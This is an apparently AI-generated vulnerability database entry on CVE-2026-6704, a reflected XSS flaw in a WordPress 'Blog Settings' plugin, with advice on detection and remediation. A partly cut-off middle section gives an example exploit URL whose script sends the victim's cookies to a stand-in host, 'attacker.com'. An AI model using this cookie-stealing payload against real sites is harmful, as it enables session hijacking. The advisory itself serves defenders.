
Cloud Vulnerability DB
A community-led vulnerabilities database
CVE-2026-6704 is a Reflected Cross-Site Scripting (XSS) vulnerability in the Blog Settings plugin for WordPress, affecting all versions up to and including 1.0. The flaw arises from insufficient input sanitization and output escaping of the page parameter, enabling unauthenticated attackers to inject arbitrary web scripts. It was published on May 5, 2026, and assigned by Wordfence. The vulnerability carries a CVSS v3.1 base score of 6.1 (Medium) (GitHub Advisory, Wordfence).
The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation), where the page parameter is reflected back into the HTML response without proper sanitization or escaping. Specifically, the vulnerable code paths are located at lines 46 and 173 of blog-settings.php in the plugin's 1.0 release (GitHub Advisory). Exploitation requires no authentication and no special privileges, but does require user interaction — an attacker must trick a victim into clicking a crafted URL containing the malicious payload. The attack vector is network-based with low complexity, and the scope is changed, meaning the injected script can affect resources beyond the vulnerable component itself.
Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of a victim's browser session on the affected WordPress site. This can lead to session hijacking, credential theft, redirection to malicious sites, defacement of web content visible to the victim, or distribution of malware to site visitors. Confidentiality and integrity are both impacted at a low level, while availability is unaffected (GitHub Advisory, Wordfence).
As of the time of reporting, there is no public proof-of-concept exploit and no evidence of active in-the-wild exploitation (Wordfence). The EPSS score is approximately 0.087–0.137%, placing it in the lower percentiles for near-term exploitation likelihood (GitHub Advisory). No threat actor attribution has been reported, and the vulnerability does not appear in the CISA Known Exploited Vulnerabilities (KEV) catalog.
page parameter, embedding a reflected XSS payload, e.g., https://target-site.com/wp-admin/options-general.php?page=blog-settings&page=<script>document.location='https://attacker.com/steal?c='+document.cookie</script>.page parameter is reflected into the HTML response and the injected script executes in the victim's browser context.wp-admin/options-general.php) with the page parameter containing URL-encoded script tags or JavaScript event handlers (e.g., %3Cscript%3E, onerror=, onload=).page query parameter; referrer headers pointing to external or suspicious domains.The primary remediation is to update the Blog Settings plugin to a version newer than 1.0 once a patched release becomes available from the plugin author (GitHub Advisory). In the interim, site administrators should disable or remove the Blog Settings plugin if it is not essential to site operations. Additional mitigations include deploying a Web Application Firewall (WAF) with rules to filter XSS payloads in query parameters, implementing Content Security Policy (CSP) headers to restrict script execution, and educating users about the risks of clicking unsolicited links (Wordfence).
Wordfence included CVE-2026-6704 in their weekly WordPress vulnerability reports for the weeks of May 4–10 and May 11–17, 2026, as part of routine disclosure coverage (Wordfence Weekly May 4, Wordfence Weekly May 11). No significant independent researcher commentary or broader media coverage has been identified for this vulnerability, consistent with its moderate severity and lack of active exploitation.
Source: This report was generated using AI
Free Vulnerability Assessment
Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.
Get a personalized demo
"Best User Experience I have ever seen, provides full visibility to cloud workloads."
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
"We know that if Wiz identifies something as critical, it actually is."